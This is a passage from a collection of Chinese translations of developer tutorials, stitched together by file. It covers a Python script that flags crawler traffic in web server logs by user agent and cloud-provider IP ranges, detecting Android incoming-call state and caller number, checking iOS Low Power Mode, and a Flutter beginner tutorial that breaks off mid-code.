这份七个公司的列表不是一个关于爬虫机器人来源的全面的列表。我发现,除了一个从世界各地连接的分布式爬虫战队,很多爬虫流量来源于一些在乌克兰、中国的住宅 IP,源头很难分辨。说实话,如果我想要一个全面的爬虫机器人实用的 IP 列表,我只需要看看 [HTTP 头的顺序](http://geocar.sdf1.org/browser-verification.html),检查下 TCP/IP 的行为,搜寻 [伪造 IP 注册](http://go.whiteops.com/rs/179-SQE-823/images/WO_Methbot_Operation_WP.pdf)(请看 28 页),列表就出来了,并且这就像猫和老鼠的游戏一样。 ## 安装库 对于这个项目而言,我会实用一些写得很好的库。[Apache Log Parser](https://github.com/rory/apache-log-parser) 可以解析 Apache 和 Nginx 生成的流量日志。这个库支持从日志文件中解析超过 30 种不同类型的信息,并且我发现,它相当弹性、可靠。[Python User Agents](https://github.com/selwin/python-user-agents) 可以解析用户代理的字符串,并执行一些代理使用的基本分类操作。[Colorama](https://github.com/tartley/colorama) 协助创建有高亮的 ANSI 输出。[Netaddr](https://github.com/drkjam/netaddr/) 是一种成熟的、维护得很好的网络地址操作库。 $ pip install -e git+https://github.com/rory/apache-log-parser.git#egg=apache-log-parser \ -e git+https://github.com/selwin/python-user-agents.git#egg=python-user-agents \ colorama \ netaddr ## 爬虫机器人监控脚本 接下来的部分是跑 monitor.py 的内容。这段脚本从 stdin(标准输入) 管道中接收 web 流量日志。这说明你可以通过 ssh 在远程服务器上看日志,在本地跑这段脚本。 我先从 Python 标准库里导入两个库,并通过 pip 安装了五个外部库。 ``` import sys from urlparse import urlparse import apache_log_parser from colorama import Back, Style import geoip2.database from netaddr import IPNetwork, IPAddress from user_agents import parse ``` 接下来我设置好 MaxMind 的 geoip2 库,以使用「GeoLite2-City.mmdb」城市级别的库。 我还设置了 apache_log_parser,来处理存储的 web 日志格式。你的日志格式可能不一样,所以可能需要花点时间比较下你的 web 服务器的流量日志配置与这个库的 [格式文档](https://github.com/rory/apache-log-parser#supported-values)。 最后,我有一个我发现的属于那七家公司的 CIDR 块的字典。在这个列表里,从本质上来说,百度不是一家主机或者云提供商,但是跑着很多无法通过它们的用户代理所识别的爬虫机器人。 ``` reader = geoip2.database.Reader('GeoLite2-City.mmdb') _format = "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" line_parser = apache_log_parser.make_parser(_format) CIDRS = { 'Amazon': ['107.20.0.0/14', '122.248.192.0/19', '122.248.224.0/19', '172.96.96.0/20', '174.129.0.0/16', '175.41.128.0/19', '175.41.160.0/19', '175.41.192.0/19', '175.41.224.0/19', '176.32.120.0/22', '176.32.72.0/21', '176.34.0.0/16', '176.34.144.0/21', '176.34.224.0/21', '184.169.128.0/17', '184.72.0.0/15', '185.48.120.0/26', '207.171.160.0/19', '213.71.132.192/28', '216.182.224.0/20', '23.20.0.0/14', '46.137.0.0/17', '46.137.128.0/18', '46.51.128.0/18', '46.51.192.0/20', '50.112.0.0/16', '50.16.0.0/14', '52.0.0.0/11', '52.192.0.0/11', '52.192.0.0/15', '52.196.0.0/14', '52.208.0.0/13', '52.220.0.0/15', '52.28.0.0/16', '52.32.0.0/11', '52.48.0.0/14', '52.64.0.0/12', '52.67.0.0/16', '52.68.0.0/15', '52.79.0.0/16', '52.80.0.0/14', '52.84.0.0/14', '52.88.0.0/13', '54.144.0.0/12', '54.160.0.0/12', '54.176.0.0/12', '54.184.0.0/14', '54.188.0.0/14', '54.192.0.0/16', '54.193.0.0/16', '54.194.0.0/15', '54.196.0.0/15', '54.198.0.0/16', '54.199.0.0/16', '54.200.0.0/14', '54.204.0.0/15', '54.206.0.0/16', '54.207.0.0/16', '54.208.0.0/15', '54.210.0.0/15', '54.212.0.0/15', '54.214.0.0/16', '54.215.0.0/16', '54.216.0.0/15', '54.218.0.0/16', '54.219.0.0/16', '54.220.0.0/16', '54.221.0.0/16', '54.224.0.0/12', '54.228.0.0/15', '54.230.0.0/15', '54.232.0.0/16', '54.234.0.0/15', '54.236.0.0/15', '54.238.0.0/16', '54.239.0.0/17', '54.240.0.0/12', '54.242.0.0/15', '54.244.0.0/16', '54.245.0.0/16', '54.247.0.0/16', '54.248.0.0/15', '54.250.0.0/16', '54.251.0.0/16', '54.252.0.0/16', '54.253.0.0/16', '54.254.0.0/16', '54.255.0.0/16', '54.64.0.0/13', '54.72.0.0/13', '54.80.0.0/12', '54.72.0.0/15', '54.79.0.0/16', '54.88.0.0/16', '54.93.0.0/16', '54.94.0.0/16', '63.173.96.0/24', '72.21.192.0/19', '75.101.128.0/17', '79.125.64.0/18', '96.127.0.0/17'], 'Baidu': ['180.76.0.0/16', '119.63.192.0/21', '106.12.0.0/15', '182.61.0.0/16'], 'DO': ['104.131.0.0/16', '104.236.0.0/16', '107.170.0.0/16', '128.199.0.0/16', '138.197.0.0/16', '138.68.0.0/16', '139.59.0.0/16', '146.185.128.0/21', '159.203.0.0/16', '162.243.0.0/16', '178.62.0.0/17', '178.62.128.0/17', '188.166.0.0/16', '188.166.0.0/17', '188.226.128.0/18', '188.226.192.0/18', '45.55.0.0/16', '46.101.0.0/17', '46.101.128.0/17', '82.196.8.0/21', '95.85.0.0/21', '95.85.32.0/21'], 'Dream': ['173.236.128.0/17', '205.196.208.0/20', '208.113.128.0/17', '208.97.128.0/18', '67.205.0.0/18'], 'Google': ['104.154.0.0/15', '104.196.0.0/14', '107.167.160.0/19', '107.178.192.0/18', '108.170.192.0/20', '108.170.208.0/21', '108.170.216.0/22', '108.170.220.0/23', '108.170.222.0/24', '108.59.80.0/20', '130.211.128.0/17', '130.211.16.0/20', '130.211.32.0/19', '130.211.4.0/22', '130.211.64.0/18', '130.211.8.0/21', '146.148.16.0/20', '146.148.2.0/23', '146.148.32.0/19', '146.148.4.0/22', '146.148.64.0/18', '146.148.8.0/21', '162.216.148.0/22', '162.222.176.0/21', '173.255.112.0/20', '192.158.28.0/22', '199.192.112.0/22', '199.223.232.0/22', '199.223.236.0/23', '208.68.108.0/23', '23.236.48.0/20', '23.251.128.0/19', '35.184.0.0/14', '35.188.0.0/15', '35.190.0.0/17', '35.190.128.0/18', '35.190.192.0/19', '35.190.224.0/20', '8.34.208.0/20', '8.35.192.0/21', '8.35.200.0/23',], 'Hetzner': ['129.232.128.0/17', '129.232.156.128/28', '136.243.0.0/16', '138.201.0.0/16', '144.76.0.0/16', '148.251.0.0/16', '176.9.12.192/28', '176.9.168.0/29', '176.9.24.0/27', '176.9.72.128/27', '178.63.0.0/16', '178.63.120.64/27', '178.63.156.0/28', '178.63.216.0/29', '178.63.216.128/29', '178.63.48.0/26', '188.40.0.0/16', '188.40.108.64/26', '188.40.132.128/26', '188.40.144.0/24', '188.40.48.0/26', '188.40.48.128/26', '188.40.72.0/26', '196.40.108.64/29', '213.133.96.0/20', '213.239.192.0/18', '41.203.0.128/27', '41.72.144.192/29', '46.4.0.128/28', '46.4.192.192/29', '46.4.84.128/27', '46.4.84.64/27', '5.9.144.0/27', '5.9.192.128/27', '5.9.240.192/27', '5.9.252.64/28', '78.46.0.0/15', '78.46.24.192/29', '78.46.64.0/19', '85.10.192.0/20', '85.10.228.128/29', '88.198.0.0/16', '88.198.0.0/20'], 'Linode': ['104.200.16.0/20', '109.237.24.0/22', '139.162.0.0/16', '172.104.0.0/15', '173.255.192.0/18', '178.79.128.0/21', '198.58.96.0/19', '23.92.16.0/20', '45.33.0.0/17', '45.56.64.0/18', '45.79.0.0/16', '50.116.0.0/18', '80.85.84.0/23', '96.126.96.0/19'], } ``` 我创建了一个工具函数,可以传入一个 IPv4 地址和一个 CIDR 块列表,它会告诉我这个 IP 地址是不是属于给定的这些 CIDR 块中的任何一个。 ``` def in_block(ip, block): _ip = IPAddress(ip) return any([True for cidr in block if _ip in IPNetwork(cidr)]) ``` 下面这个函数接收请求( req )和浏览器代理( agent )的对象,并尝试用这两个对象来判断流量源头/浏览器代理是否来自爬虫机器人。这个浏览器代理对象是使用 Python 用户代理库构造的,并且有一些测试用于判断,用户代理字串是否属于某个已知的爬虫机器人。我已经用一些我从库的分类系统中看到的 token 来扩展这些测试。同时我在 CIDR 块迭代,来判断远程主机的 IPv4 地址是否在里面。 ``` def bot_test(req, agent): ua_tokens = ['daum/', # Daum Communications Corp. 'gigablastopensource', 'go-http-client', 'http://', 'httpclient', 'https://', 'libwww-perl', 'phantomjs', 'proxy', 'python', 'sitesucker', 'wada.vn', 'webindex', 'wget'] is_bot = agent.is_bot or \ any([True for cidr in CIDRS.values() if in_block(req['remote_host'], cidr)]) or \ any([True for token in ua_tokens if token in agent.ua_string.lower()]) return is_bot ``` 下面是脚本的主要部分。web 流量日志从标准输入里一行行地读入。内容的每一行都被解析成一个带 token 版本的请求、用户代理和被请求的 URI。这些对象让与这些数据打交道变得更容易,不需要去麻烦地在空中解析它们。 我尝试着用 MaxMind 的库查询与这些 IPv4 相关的城市和国家。如果有任何类型的查询失败,结果会简单地设置为 None。 在爬虫机器人测试后,我准备输出。如果请求看起来是从爬虫机器人处发送的,它会被标成红色背景,高亮在输出上。 ``` if __name__ == '__main__': while True: try: line = sys.stdin.readline() except KeyboardInterrupt: break if not line: break req = line_parser(line) agent = parse(req['request_header_user_agent']) uri = urlparse(req['request_url']) try: response = reader.city(req['remote_host']) country, city = response.country.iso_code, response.city.name except: country, city = None, None is_bot = bot_test(req, agent) agent_str = ', '.join([item for item in agent.browser[0:3] + agent.device[0:3] + agent.os[0:3] if item is not None and type(item) is not tuple and len(item.strip()) and item != 'Other']) ip_owner_str = ' '.join([network + ' IP' for network, cidr in CIDRS.iteritems() if in_block(req['remote_host'], cidr)]) print Back.RED + 'b' if is_bot else 'h', \ country, \ city, \ uri.path, \ agent_str, \ ip_owner_str, \ Style.RESET_ALL ``` ## 爬虫机器人检测实战 接下来是一个例子,在把这些内容放到监测脚本时,我是用下面这种方式连接输出 web 流量日志的最后一百行的。 ``` $ ssh server \ 'tail -n100 -f access.log' \ | python monitor.py ``` 有可能来源于爬虫机器人的请求将使用红色背景和「b」前缀高亮。不存在爬虫机器人的流量将被打上「h」的前缀,代表 human(人)。下面是从脚本出来的样例输出,不过没有 ANSI 背景色。 ... b US Indianapolis /robots.txt Python Requests 2.2 Linux 3.2.0 h DE Hamburg /tensorflow-vizdoom-bots.html Firefox 45.0 Windows 7 h DE Hamburg /theme/css/style.css Firefox 45.0 Windows 7 h DE Hamburg /theme/css/syntax.css Firefox 45.0 Windows 7 h DE Hamburg /theme/images/mark.jpg Firefox 45.0 Windows 7 b US Indianapolis /feeds/all.atom.xml rogerbot 1.0 Spider Spider Desktop b US Mountain View /billion-nyc-taxi-kdb.html Google IP h CH Zurich /billion-nyc-taxi-rides-s3-vs-hdfs.html Chrome 56.0.2924 Windows 7 h IE Dublin /tensorflow-vizdoom-bots.html Chrome 56.0.2924 Mac OS X 10.12.0 h IE Dublin /theme/css/style.css Chrome 56.0.2924 Mac OS X 10.12.0 h IE Dublin /theme/css/syntax.css Chrome 56.0.2924 Mac OS X 10.12.0 h IE Dublin /theme/images/mark.jpg Chrome 56.0.2924 Mac OS X 10.12.0 b SG Singapore /./theme/images/mark.jpg Slack-ImgProxy Spider Spider Desktop Amazon IP ================================================ FILE: TODO/detecting-incoming-phone-calls-in-android.md ================================================ > * 原文地址:[Detecting Incoming Phone Calls In Android](http://www.theappguruz.com/blog/detecting-incoming-phone-calls-in-android) * 原文作者:[Parimal Gotecha](http://www.theappguruz.com/author/parimalgotecha) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[PhxNirvana](https://github.com/phxnirvana) * 校对者:[XHShirley](https://github.com/XHShirley), [jamweak](https://github.com/jamweak) # 在 Android 应用中监测来电信息 ## 目标 本文的主要目标是监测 Android 中的来电状态信息。 **你想在你的 Android 应用中监测来电状态和来电号码么?** **你在处理通话、摘机、空闲状态时无从下手么?** **你想在收到来电、摘机(接听时的状态)或空闲(挂机状态)时做一些事情么?** 我最近搞的一个大工程中必须要用到监测电话信息。 如果你想知道我如何实现的话,就继续读下去吧。. **即使应用关闭也可以监测来电信息** 你知道么,即使你的 Android 应用是关闭状态,也可以在应用中取到来电信息的。 这很酷,是吧?现在让我们看看该 **“怎么做”** ! **关键点在于 Receiver** 你听说过 Android 里面的 receiver 么? 如果听说过的话,那么你会很容易的弄清楚手机状态这个概念的。 当然,没听说过也不要担心,我会告诉你 receiver 是什么以及如何在应用中使用它。 **RECEIVER 到底是个什么鬼东西?** Broadcast receiver 帮助我们接收系统或其他应用的消息。 Broadcast receiver 响应来自系统本身或其他应用的广播信息(intent、event等)。 **点击以下链接获取更多知识:** * [https://developer.android.com/reference/android/content/BroadcastReceiver.html](https://developer.android.com/reference/android/content/BroadcastReceiver.html) **在我们的应用里创建一个 Broadcast Receiver 需要执行以下两步:** 1. 创建 Broadcast Receiver 2. 注册 Broadcast Receiver 让我们先在 Android Studio 里建立一个带有空白 Activity 的简单工程。 **如果你第一次接触 Android studio 不知道如何创建新工程的话,点击以下链接:** * [http://www.theappguruz.com/blog/create-new-project-in-android-studio](http://www.theappguruz.com/blog/create-new-project-in-android-studio) **让我们创建并注册 BROADCAST RECEIVER** 创建一个名为 **PhoneStateReceiver** 的 Java 类文件,并继承 **BroadcastReceiver** 类。 要注册 Broadcast Receiver的话,需要将以下代码写入 ```AndroidMainifest.xml``` 文件 ``` ``` ### 注意 你必须在 ``````标签内写这几行代码. 我们的主要目的是接收通话广播,所以我们需要将 ```android.intent.action.PHONE_STATE``` 作为 receiver 的 action。 **你的 ```AndroidMainifest.xml``` 文件应该和下图一样**: ![Phone State Receiver](http://www.theappguruz.com/app/uploads/2016/05/1-phonestatereceiver.png) 漂亮!我们成功的在项目中加入了一个 Broadcast Receiver。 **你得到权限了么?** 为了在应用中接收手机的通话状态广播,你需要取得对应的权限。 我们需要在 ```AndroidManifest.xml``` 文件中写入以下代码来获取权限。 ``` ``` **现在你的 ```AndroidManifest.xml``` 应该和下面这张图一样了** ![Read Phone State](http://www.theappguruz.com/app/uploads/2016/05/2-read_phone_state.png) **关于 onReceive() 方法的来龙去脉** 现在让我们将目光转回到 继承了 **BroadcastReceiver** 的 **PhoneStateListener** 类中。 在这个类中我们需要重写 _```onReceive(Contex context, Intenet intent)```_ 方法,因为在基类(BroadcastReceiver)中这个方法是抽象方法(abstract method)。 **你对** onReceive() **方法了解多少呢?** **如果我让你天马行空的想象一下这个方法的作用,你会怎么猜呢?** **提示:** 它的名字已经解释了一切。 加油……努力……你离答案只有一步之遥了…… 是的,就是你猜的那样。_**onReceive()**_ 使用 **Intent** 对象参数来接收每个消息。我们已经声明并在 **AndroidManifest.xml** 中注册了Broadcast Receiver。 现在,让我们将目光转向 **PhoneStateReciver.java** 文件来看看我们要在 _**onReceive()**_ 方法中做些什么。 public void onReceive(Context context, Intent intent) { try { System.out.println("Receiver start"); Toast.makeText(context," Receiver start ",Toast.LENGTH_SHORT).show(); } catch (Exception e){ e.printStackTrace(); } } 我们已经做了一堆准备工作了,你觉得我们现在是不是可以检测到通话状态了呢? 先自己想一想。 目前只要收到来电就会弹出一个显示 **Receiver start** 消息的 toast,我们也会在控制台中收到同样的消息,因为我们已经将其输出到控制台中。 ![Receiver Start](http://www.theappguruz.com/app/uploads/2016/05/receiver-start.png) 但…… **我们无法得知准确的通话状态,我们的目标是取到如下的状态:** * 响铃 * 摘机 * 空闲 **保持冷静,继续探索手机状态** 那我们要怎么做来取到电话状态信息呢? 你听说过 Android 里面的 Telephony Manager 么? 如果你对 Telephony Manager 不熟悉的话,别担心。我会教你什么是 Telephony Manager 以及如何用它取到通话状态的。 Telephony Manager 会将来自 Android 设备电话的全部状态信息告诉你。利用这些状态我们可以做许多事。 **想了解更多关于 Telephony Manager 的知识,请点以下链接:** * [https://developer.android.com/reference/android/telephony/TelephonyManager.html](https://developer.android.com/reference/android/telephony/TelephonyManager.html) 我们可以通过 **TelephonyManager.EXTRA_STATE** 来取得当前通话状态。它会用一个 **String** 对象来返回当前通话状态。 **以如下方式新建一个 String 对象来获取不同的通话状态信息:** String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE); **要获取不同的状态,我们可以用下面的代码达到目的:** if(state.equals(TelephonyManager.EXTRA_STATE_RINGING)){ Toast.makeText(context,"Ringing State Number is -"+incomingNumber,Toast.LENGTH_SHORT).show(); } if ((state.equals(TelephonyManager.EXTRA_STATE_OFFHOOK))){ Toast.makeText(context,"Received State",Toast.LENGTH_SHORT).show(); } if (state.equals(TelephonyManager.EXTRA_STATE_IDLE)){ Toast.makeText(context,"Idle State",Toast.LENGTH_SHORT).show(); } 现在我们的 **PhoneCallReceiver** 类应该如下所示: ![Broadcast Receiver](http://www.theappguruz.com/app/uploads/2016/05/4-broadcastreceiver-.png) **是的,我们成功了!!!** 我们成功达到了目标,你可以用模拟器或真机来检验一下成果。 **如果你不知道如何打开模拟器的话,按照下面的步骤来:** 1. 打开 Android studio 2. 点击 Android Device Monitor。如果你找不到 Android Device Monitor 的话,看下面这张截图。 ![Android Device Moniter](http://www.theappguruz.com/app/uploads/2016/05/android-device-moniter.png) **下面这张图会显示如何操作模拟器** ![Emulator Control](http://www.theappguruz.com/app/uploads/2016/05/emulator-control.png) 如果你使用新版本的 Android Studio (2.1 +) 或者你有最新的 **HAXM** 那你要跟着下面这张图来 ![Phone Device](http://www.theappguruz.com/app/uploads/2016/05/7-phone-device-1234567890.png) 就酱。你可以用模拟器来监测通话状态了,下面的截图显示了运行结果。 **结果 1\. 来电状态** ![Incoming Call State](http://www.theappguruz.com/app/uploads/2016/05/8-incoming-call-state.png) **结果 2\. 接听状态** ![Call Receiver State](http://www.theappguruz.com/app/uploads/2016/05/9-call-receiver-state.png) **结果 3\. 空闲状态** ![Call Idle State](http://www.theappguruz.com/app/uploads/2016/05/10-call-idle-state.png) 我们的主要目标就完成了。 **需要来电号码?** 你仔细看过 Telephony Manager 这个类么? 你看到 **TelephonyManager.EXTRA_INCOMING_NUMBER** 这个了么? 如果你已经了解了 **TelephonyManager.EXTRA_INCOMING_NUMBER**,那很好,证明你读过我在上面给的关于 Telephony Manager 类的链接了 **TelephonyManager.EXTRA_INCOMING_NUMBER** 用 String 的形式返回来电号码。 ![Extra State](http://www.theappguruz.com/app/uploads/2016/05/11-extra-state.png) String incomingNumber = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER); **如果你想在自己的应用中监测来电号码,可以利用下面的代码:** public class PhoneStateReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { try { String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE); String incomingNumber = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER); if(state.equals(TelephonyManager.EXTRA_STATE_RINGING)){ Toast.makeText(context,"Ringing State Number is - " + incomingNumber, Toast.LENGTH_SHORT).show(); } } catch (Exception e){ e.printStackTrace(); } } 啊哈!我们成功取到了来电号码! 但愿本篇博客在获取来电信息方面对你有所帮助。对于获取来电消息方面还有问题的话请留言,我会尽快回复的。 学习 Android 很棒,不是么?来看看其他的 [**Android 教程**](http://www.theappguruz.com/category/android) 吧。 有开发 Android 应用的灵感?还等什么,快 [**联系我们**](http://www.theappguruz.com/contact-us) ,灵感直播即将上线。我们的公司被提名为印度最好的 [**Android 应用开发公司**](http://www.theappguruz.com/android-app-development) 。 ================================================ FILE: TODO/detecting-low-power-mode.md ================================================ >* 原文链接 : [Detecting low power mode](http://useyourloaf.com/blog/detecting-low-power-mode/) * 原文作者 : [useyourloaf](http://useyourloaf.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Zheaoli](https://github.com/Zheaoli) * 校对者 : [LoneyIsError](https://github.com/LoneyIsError), [wild-flame](https://github.com/wild-flame) # 如何检测 iPhone 是否处于低电量模式 这个星期,我阅读了一篇关于Uber怎样检测手机处于省电模式的文章。(注:文章连接是[Uber found people more likely to pay](http://www.npr.org/2016/05/17/478266839/this-is-your-brain-on-uber)) 在人们手机快要关机时,使用Uber可能会面临更高的价格。 这家公司(注:指Uber)宣称他们不会利用手机是否处于节能模式这一数据来进行定价, 但是这里我想知道 **我们怎么知道用户的iPhone处于低电量模式** ### 低电量模式 在iOS 9中,苹果为iPhone手机新添加了 [低电量模式](https://support.apple.com/en-gb/HT205234) 功能。在你能充电之前,低电量模式通过关闭诸如邮件收发,Siri,后台消息推送能耗电功能来延长你的电池使用时间。 在这里面,很重要的一点是,是否进入低电量模式是由用户自行决定的。 你需要进入电池设置中去开启低电量模式。当你进入低电量模式的时候,状态栏上的电池图标会变成黄色。 ![Low Power Mode](http://ww3.sinaimg.cn/large/72f96cbajw1f4dvuztcnej20m80et0u9) 当你充电至80%以上时,系统会自动关闭低电量模式。 ### 低电量模式检测 事实证明,在iOS 9中获取低电量模式信息是很容易的一件事。 你可以通过**NSProcessInfo**这个类来判断用户是否进入了低电量模式: ~~~ Swift if NSProcessInfo.processInfo().lowPowerModeEnabled { // stop battery intensive actions } ~~~ 如果你想用Objective-C来实现这个功能: ~~~ Objective-C if ([[NSProcessInfo processInfo] isLowPowerModeEnabled]) { // stop battery intensive actions } ~~~ 如果你监听了**NSProcessInfoPowerStateDidChangeNotification**通知,在用户切换进入低电量模式的时候你将接收到一个消息。比如,在视图控制器中的**viewDidLoad**方法中: ~~~ Swift NSNotificationCenter.defaultCenter().addObserver(self, selector: #selector(didChangePowerMode(_:)), name: NSProcessInfoPowerStateDidChangeNotification, object: nil) ~~~ ~~~ Objective-C [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(didChangePowerMode:) name:NSProcessInfoPowerStateDidChangeNotification object:nil]; ~~~ 在我第一次发布这篇文章后,很多人提醒我:对于只对iOS 9.X适配的开发者而言,没有必要在 **ViewController** 消失时去移除 **Observer** 。 接着在这个方法会监视电池模式并在切换的时候给予一个响应。 ~~~ swift func didChangePowerMode(notification: NSNotification) { if NSProcessInfo.processInfo().lowPowerModeEnabled { // low power mode on } else { // low power mode off } } ~~~ ~~~ Objective-C - (void)didChangePowerMode:(NSNotification *)notification { if ([[NSProcessInfo processInfo] isLowPowerModeEnabled]) { // low power mode on } else { // low power mode off } } ~~~ 小贴士: * 这个通知方法和NSProcessInfo里的属性是在iOS 9系统中新提供的方法。如果你想让你的APP兼容iOS8或者更早版本的系统,你需要去这个网站 [test for availability](http://useyourloaf.com/blog/checking-api-availability-with-swift/)测试你的代码是否能正常运行。 * 低电量模式是iPhone独有的特性,如果你在iPad上测试前面的代码,会一直返回false。 只有在你的 App 能够采取一些节能措施来延长电池寿命的情况下,检测用户开启了低电量模式才是有用的。这里,苹果给了一些建议: * 停止更新位置 * 减少用户交互动画 * 关闭数据流量这样的后台操作 * 关闭特效 ================================================ FILE: TODO/develop-your-first-application-with-flutter.md ================================================ > * 原文地址:[Develop your first Application with Flutter](https://hackernoon.com/develop-your-first-application-with-flutter-60c4308d18b7) > * 原文作者:[Gahfy](https://hackernoon.com/@Gahfy?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/develop-your-first-application-with-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO/develop-your-first-application-with-flutter.md) > * 译者:[mysterytony](https://github.com/mysterytony) > * 校对者:[rockzhai](https://github.com/rockzhai), [zhaochuanxing](https://github.com/zhaochuanxing) # 用 Flutter 开发你的第一个应用程序 ![](https://cdn-images-1.medium.com/max/2000/1*P-bGlIkJPfxhVc4OsiXgCg.jpeg) 一周前,Flutter 在巴塞罗那的 MWC 上发布了第一版公测版本。本文的主要目的是向你展示如何用 Flutter 开发第一个功能齐全的应用程序。 这篇文章会介绍 Flutter 的安装过程和工作原理,所以会比平时长一点。 我们将开发一个向用户显示从 [JSONPlaceholder API](https://jsonplaceholder.typicode.com/) 中检索的帖子列表的应用程序。 ### 什么是 Flutter ? Flutter 是一款 SDK,它可以让你开发基于 Android,iOS 或者 Google 的下一个操作系统 Fuschia 的原生应用。它使用 Dart 作为主要编程语言。 ### 安装所需的工具 #### Git,Android Studio 和 XCode 为了获取 Flutter,你需要克隆其官方仓库。如果你想开发 Android 应用,则还需要 Android Studio 。如果要开发 iOS 应用,则还需要 XCode 。 #### IntelliJ IDEA 你还需要 IntelliJ IDEA(这不是必须的,但是会很有用)。安装完 IntelliJ IDEA 之后,把 Dart 和 Flutter 插件添加到 IntelliJ IDEA。 #### 获取 Flutter 你所要做的就是克隆 Flutter 官方仓库: ``` bash git clone -b beta https://github.com/flutter/flutter.git ``` 然后,你需要将把 bin 文件夹的路径添加到 PATH 环境变量中。就这样,你现在可以开始用 Flutter 开发应用程序了。 虽然这已经足够了,为了不让这篇文章显得冗长,我缩短了安装过程的讲解。如果你需要更完整的指南,请转至 [官方文档](https://flutter.io/get-started/install/)。 ### 开发第一个项目 让我们现在打开 IntelliJ IDEA 并创建第一个项目。在左侧面板中,选择 Flutter (如果没有,就请将 Flutter 和 Dart 插件安装到你的 IDE 中)。 我们以以下方式命名: * **项目名称**: feedme * **描述**: A sample JSON API project * **组织**: net.gahfy * **Android 语言**: Kotlin * **iOS 语言**: Swift #### 运行第一个项目并探索 Flutter IntelliJ 的编辑器打开了一个名为 `main.dart` 的文件,它是应用程序的主文件。如果你还不了解 Dart,别慌,这个教程的剩下部分不时必须的。 现在,将 Android 或 iOS 手机插入你的计算机,或运行一个模拟器。 你现在可以通过点击右上角的运行按钮(带有绿色三角形)来运行该应用程序: ![](https://cdn-images-1.medium.com/max/800/1*RKDfTzmZjwwqj0_JzssYqQ.png) 点击底部浮动动作按钮来增加显示的数字。我们现在不会深入研究其代码,但我们会用 Flutter 发现一些有趣的功能。 #### Flutter 热重载 你可以看到,这个应用的主要颜色是蓝色。我们可以改成红色。在 `main.dart` 文件中,找到以下代码: ``` dart return new MaterialApp( title: 'Flutter Demo', theme: new ThemeData( // This is the theme of your application. // // Try running your application with "flutter run". You'll see the // application has a blue toolbar. Then, without quitting the app, try // changing the primarySwatch below to Colors.green and then invoke // "hot reload" (press "r" in the console where you ran "flutter run", // or press Run > Flutter Hot Reload in IntelliJ). Notice that the // counter didn't reset back to zero; the application is not restarted. primarySwatch: Colors.blue, ), home: new MyHomePage(title: 'Flutter Demo Home Page'), ); ``` 在这个部分,用 `Colors.red` 来代替 `Colors.blue`。Flutter 允许你热加载应用程序,也就是说应用程序的当前状态不会被修改,但是会使用新的代码。 在应用程序中,点击底部浮动的 + 按钮开增加 counter 。 然后,在 IntelliJ 右上角,点击 Hot Reload 按钮(带有黄色闪电)。你可以开到主要的颜色变成了红色,但是 counter 保持着一样的数字。 ### 开发最终的应用程序 让我们现在删除 `main.dart` 文件里所有内容,这岂不是一个更好的学习方式吗。 #### 最小的应用程序 我们要做的第一件事就是开发最小的应用程序,也就是能运行的最少代码。因为我们会用 Material Design 来设计我们的应用程序,所以首先要导入包含 Material Design Widgets 的包。 ``` dart import 'package:flutter/material.dart'; ``` 现在我们来创建一个继承 `StatelessWidget` 的类来创建我们应用程序的一个实例(之后会深入讨论 `StatelessWidget`)。 ``` dart import 'package:flutter/material.dart'; class MyApp extends StatelessWidget { } ``` IntelliJ IDEA 在 MyApp 下显示红色下划线。实际上 `StatelessWidget` 是一个需要实现 `build()` 方法的抽象类。为此,将光标移动到 MyApp 上,然后按 Alt + Enter 。 ``` dart import 'package:flutter/material.dart'; class MyApp extends StatelessWidget { @override Widget build(BuildContext context) { // TODO: implement build } } ``` 现在我们来实现 `build()` 方法,我们可以看到它必须返回一个 `Widget` 实例。我们要在这里构建应用程序时返回一个 `MaterialApp`。为此,在 `build()` 中添加以下代码: ``` dart return new MaterialApp(); ``` `MaterialApp` 的文档告诉我们至少要初始化 `home`,`routes`,`onGenerateRoute` 或者 `builder` 。我们只会在这里定义 `home` 属性。这将是应用程序的主界面。因为我们希望我们的应用程序是基于 Material Design 的布局,所以我们把 `home` 设置为一个空的 `Scaffold`: ``` dart import 'package:flutter/material.dart'; class MyApp extends StatelessWidget { @override Widget build(BuildContext context) { return new MaterialApp( home: new Scaffold() ); } } ``` 最后我们需要设置当运行 main.dart 时,我们想运行 `MyApp` 应用程序。因此,我们需要在导入语句后面添加以下行: ``` dart void main() => runApp(new MyApp()); ``` 你现在已经可以运行你的应用程序。目前只是一个没有任何内容的白色界面。所以我们现在要做的第一件事就是添加一些用户界面。 ### 开发用户界面 #### 几句关于状态的话 我们可能要开发两种用户界面。一种是与当前应用状态无关的用户界面,而另一种是与当前状态相关的用户界面。 当谈到状态时,我们的意思是,当事件被触发时,用户界面可能会改变,这正是我们要做的: * **应用程序启动事件: -** 显示循环进度条 - 运行检索帖子的操作 * **API 请求结束:** - 如果成功,显示检索帖子的结果 - 如果失败, 在空白界面上显示带失败信息的 Snackbar 目前,我们只用了 `StatelessWidget`,正如你所猜测的那样,它并不涉及程序状态。那么让我们先初始化一个 `StatefulWidget` 。 #### 初始化 StatefulWidget 让我们添加一个继承 `StatefulWidget` 的类到我们的应用程序: ``` dart import 'package:flutter/material.dart'; void main() => runApp(new MyApp()); class MyApp extends StatelessWidget { @override Widget build(BuildContext context) { return new MaterialApp( home: new PostPage() ); } } class PostPage extends StatefulWidget { PostPage({Key key}) : super(key: key); @override State createState() { // TODO: implement createState } } ``` 像我们看到的一样,我们需要实现返回一个 `State` 对象的 `createState()` 方法。所以让我们创建一个继承 `State` 的类: ``` dart class PostPage extends StatefulWidget { PostPage({Key key}) : super(key: key); @override _PostPageState createState() => new _PostPageState(); } class _PostPageState extends State{ @override Widget build(BuildContext context) { // TODO: implement build } } ``` 就像看到的,我们需要实现 `build()` 方法,让它返回一个 Widget 。为此,我们先创建一个空部件 (`Row`): ``` dart class _PostPageState extends State{ @override Widget build(BuildContext context) { return new Scaffold( appBar: new 